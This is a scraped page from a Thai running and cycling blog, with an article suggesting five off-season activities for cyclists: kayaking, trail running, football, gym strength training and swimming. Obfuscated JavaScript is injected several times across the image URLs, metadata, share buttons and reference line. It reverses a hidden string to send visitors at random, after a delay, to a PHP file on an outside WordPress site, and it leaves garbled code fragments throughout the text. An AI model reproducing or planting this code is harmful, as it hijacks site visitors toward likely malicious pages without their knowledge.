andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andrew-gook-VRLHw_rBjIw-unsplash.jpg","contentUrl":"https://www.stepextra.com/wp-content/uploads/2019/12/andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andrew-gook-VRLHw_rBjIw-unsplash.jpg","width":1200,"height":800},{"@type":"WebPage","@id":"https://www.stepextra.com/ffseason-training-activities/#webpage","url":"https://www.stepextra.com/ffseason-training-activities/","name":"แผนการ Offseason จักรยานเเต่ก็ยังฟิต - StepExtra","isPartOf":{"@id":"https://www.stepextra.com/#website"},"primaryImageOfPage":{"@id":"https://www.stepextra.com/ffseason-training-activities/#primaryimage"},"datePublished":"2019-12-29T04:07:00+00:00","dateModified":"2019-12-29T04:07:07+00:00","author":{"@id":"https://www.stepextra.com/#/schema/person/3d6ae3d26ec98210683a7b0ced0ac9d4"},"breadcrumb":{"@id":"https://www.stepextra.com/ffseason-training-activities/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://www.stepextra.com/ffseason-training-activities/"]}]},{"@type":"BreadcrumbList","@id":"https://www.stepextra.com/ffseason-training-activities/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://www.stepextra.com/"},{"@type":"ListItem","position":2,"name":"แผนการ Offseason จักรยานเเต่ก็ยังฟิต"}]},{"@type":"Person","@id":"https://www.stepextra.com/#/schema/person/3d6ae3d26ec98210683a7b0ced0ac9d4","name":"kan","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https://www.stepextra.com/#/schema/person/image/","url":"https://secure.gravatar.com/avatar/d4c4d7bd6bf34c4dbd8273eb6d599c68?s=96&d=mm&r=g","contentUrl":"https://secure.gravatar.com/avatar/d4c4d7bd6bf34c4dbd8273eb6d599c68?s=96&d=mm&r=g","caption":"kan"},"sameAs":["https://www.facebook.com/kanthad?ref=bookmarks"],"url":"https://www.stepextra.com/author/kan/"}]}
  • เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Cycling Tips

แผนการ Offseason จักรยานเเต่ก็ยังฟิต

kan by kan
29 December 2019
in Cycling Tips
0
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andrew-gook-VRLHw_rBjIw-unsplash.jpg">
แผนการ Offseason จักรยานเเต่ก็ยังฟิต
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andrew-gook-VRLHw_rBjIw-unsplash.jpg&description=%E0%B9%81%E0%B8%9C%E0%B8%99%E0%B8%81%E0%B8%B2%E0%B8%A3+Offseason+%E0%B8%88%E0%B8%B1%E0%B8%81%E0%B8%A3%E0%B8%A2%E0%B8%B2%E0%B8%99%E0%B9%80%E0%B9%80%E0%B8%95%E0%B9%88%E0%B8%81%E0%B9%87%E0%B8%A2%E0%B8%B1%E0%B8%87%E0%B8%9F%E0%B8%B4%E0%B8%95" rel='nofollow' class="jeg_btn-pinterest ">

เข้าสู่ช่วงพักผ่อนยาว ไม่ว่าจะเป็นเพราะ Long Holiday และตั้งใจ Off-season ไปด้วย นักปั่นที่หยุดพักการปั่นยาว ค่า Performance จะลดลงตามเวลาการพักผ่อนไปด้วย แต่ด้วยการออกกกำลังกายด้วยกิจกรรมทดแทน จะช่วยประคอง performance และความฟิตของร่างกายไม่ให้ลดลงไปมาก แถมยังช่วยเสริมสร้างความแข็งแรงให้กล้ามเนื้อด้วย

แผนการ Offseason จักรยานเเต่ก็ยังฟิต

การปั่นจักรยานจะเรียกใช้กล้ามเนื้อส่วนขามากที่สุด รองมาก็เป็นส่วนของ core และกล้ามเนื้อส่วนบนร่างกายหรือ upper body เรามักจะฝึกเล่นพวก cross-training เพื่อสร้างเสริมความแข็งแกร่งให้การร่างกาย ลดอาการบาดเจ็บ ปวดเมื่อย ให้ร่างการนิ่งและเสถียรมากขึ้น จะได้ปั่นได้ดีขึ้นและเร็วขึ้น

กิจกรรมทดเเทน 5 อย่างที่ช่วยในการพัฒนาและส่งเสริมกล้ามเนื้อเพื่อการปั่นที่ดีขึ้นได้แก่….

1. การพายเรือคายัค (Kayaking) จังหวะการเคลื่อนไหวของการพายเรือคายัดจะเป็นเหมือนการ reverse cycling คือ กล้ามเนื้อขาส่วนล่างทำหน้าที่เป็นแก่นให้ร่างกายอยู่นิ่ง ๆ ส่วนกล้ามเนื้อร่างกายส่วนบนใช้ทำงาน สองมือควงหมุนใบพาย เวลาพายใบเรือนั้นเอวเราจะบิดไปซ้ายขวา กล้ามเนื้อไหล่ยาวไปจนถึงด้านหลังจะรับแรงต้านจากใบพาย

ประโยชน์ที่ได้คือ กล้ามเนื้อ core จะแข็งแรงขึ้น อาการป่วยหลังลดลง กล้ามเนื้อช่วงกลางตัว core ที่แข็งแรงและเสถียรรวมทั้งกล้ามเนื้อมือและแขน ช่วยให้เวลายืนปั่นจะสามารถถ่ายเทส่งแรงปั่นได้ดีขึ้น

2. วิ่ง trail หลายๆ นักปั่นอาจจะไม่ชื่นชอบการวิ่งมากนัก แต่การวิ่ง trail ก็เหมือนการปั่นเสือภูเขาแบบที่ไม่มีล้อ การวิ่

งมีจังหวะกระโดดเด้งไปมาเหมือนอยู่บนเสือภูเขาเช่นกัน การวิ่ง trail จะช่วยเพิ่มความหนาแน่ให้กระดูกเรา ช่วยฝึกกล้ามเนื้อช่วงเอวให้แข็งแรงขึ้น ช่วยให้เวลาเราปั่นจักรยานจะปั่นได้นิ่งขึ้น แถมเผาผลาญแคลอรี่ได้เยอะที่เดียว

ประโยชน์ที่ได้คือ การวิ่งขึ้นเขาจะทำให้เราต้องผลักดัน (drive) เข่าไปข้างหน้ามากขึ้น และต้องโฟกัสการลงฝ่าเท้าทุกครั้ง เมื่อนำมาใช้กับการปั่น ทวงท่าจะคล้ายๆ กัน ช่วยให้เราสามารถปั่นขึ้นเขาได้ดีขึ้น ฟีลลิ่งในการปั่นอย่างการขึ้นเข่าและการควงเท้า เราจะโฟกัสการเคลื่อนไหวเวลาปั่นได้มากดีขึ้น แถมการวิ่ง trail จะได้มีโอกาสฝึกปอดและหัวใจไปในตัวด้วย

3. เตะบอล การเตะบอลต้องอาศัยพลังงานในการระเบิดพุ่งไปข้างหน้า ไปซ้ายขวาและหยุด การเคลื่นไหวไปมาอย่ารวดเร็ว ช่วยในการพัฒนาความเร็วและความคล่องตัว (speed & agility) การเตะบอลยังจำเป็นต้องใช้กล้ามเนื้อ core เพื่อเป็นแกนกลางในการบิดส่งแรงเตะ หรือการวิ่งการเบรคเพื่อเปลี่ยนทิศทาง 

ประโยชน์ที่ได้คือ ช่วยพัฒนากล้ามเนื้อช่วงเอวให้แข็งแรง ทำให้จังหะการควงขาไหลลื่นดูสมูธและร่างกายยืดหยุ่นได้มากขึ้น

4. การเข้าโรงยิม การฝึก strength training คือใจหลักในการฝึก อย่าการทำ bench presses, ab curls, dumbbell หรือ barbell rows เป็นต้น เป็นการช่วยกระตุ้นมัดกล้ามเนื้อที่ไม่ค่อยได้ใช้งานให้กลับมามีพลัง ช่วยซับฟอร์ตกล้ามเนื้อหลักๆ ในส่วนกล้ามเนื้อหลักก็ทำการฝึกเพื่อให้สามารถรับแรงเครียดได้มากขึ้น พัฒนากล้ามเนื้อให้ทดและอึด

ประโยชน์ที่ได้คือ เราสามารถฝึกพัฒนากล้ามเนื้อได้ทุกส่วนไม่ว่า core, lower และ upper แถมยังช่วยในการ tone body ให้ดูสมส่วนมากขึ้น การปั่นจักรยานจะรู้สึกได้ว่ามั่นคงกว่าเดิม กล้ามเนื้อล้าช้าลงปั่นได้นานและเร็วขึ้น ช่วยลดการบาดเจ็บของกล้ามเนื้อลงด้วย

5. ว่ายน้ำ การว่ายน้ำได้ทั้งการฝึกแบบ Strength และ Cardio กล้ามเนื้อทุกมัดของร่างกายมีโอกาสได้ทำงาน โดยเฉพาะส่วนท้องและเอวที่จำเป็นต่อนักปั่น การว่ายน้ำยังเพิ่มการพัฒนากล้ามเนื้อช่วงบนอย่างกล้ามเนื้อไหล อกและแขนด้วย

ประโยชน์ที่ได้คือ เพิ่มประสิทธิภาพในการหายใจเพิ่มความจุของปอด และกล้ามเนื้อทรวงอกที่ใช้ในการหายใจ พัฒนากล้ามเนื้อทุกส่วน

อ้างอิง andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andeCV0flUE26oZ6771A_az5qQCvGuVWO-p4Ni6apxw”>www.redbull.com            

ShareTweetShare
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andrew-gook-VRLHw_rBjIw-unsplash.jpg&description=%E0%B9%81%E0%B8%9C%E0%B8%99%E0%B8%81%E0%B8%B2%E0%B8%A3+Offseason+%E0%B8%88%E0%B8%B1%E0%B8%81%E0%B8%A3%E0%B8%A2%E0%B8%B2%E0%B8%99%E0%B9%80%E0%B9%80%E0%B8%95%E0%B9%88%E0%B8%81%E0%B9%87%E0%B8%A2%E0%B8%B1%E0%B8%87%E0%B8%9F%E0%B8%B4%E0%B8%95" rel='nofollow' class="jeg_btn-pinterest ">
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • เฟรมสำเนา เหมือนแค่ไหนยังไงก็คือของปลอม!

    0 shares
    Share 0 Tweet 0
  • เกร็ดความรู้กับล้อจักรยาน

    0 shares
    Share 0 Tweet 0
  • หนึ่งวันก่อนวันวิ่งแข่งขัน เราควรซ้อมวิ่งหรือไม่วิ่งซ้อมวิ่งดี!!?

    0 shares
    Share 0 Tweet 0
  • มือใหม่อยาก วิ่ง 10 กิโล ต้องเริ่มอย่างไรและเรียนรู้อะไรบ้าง

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.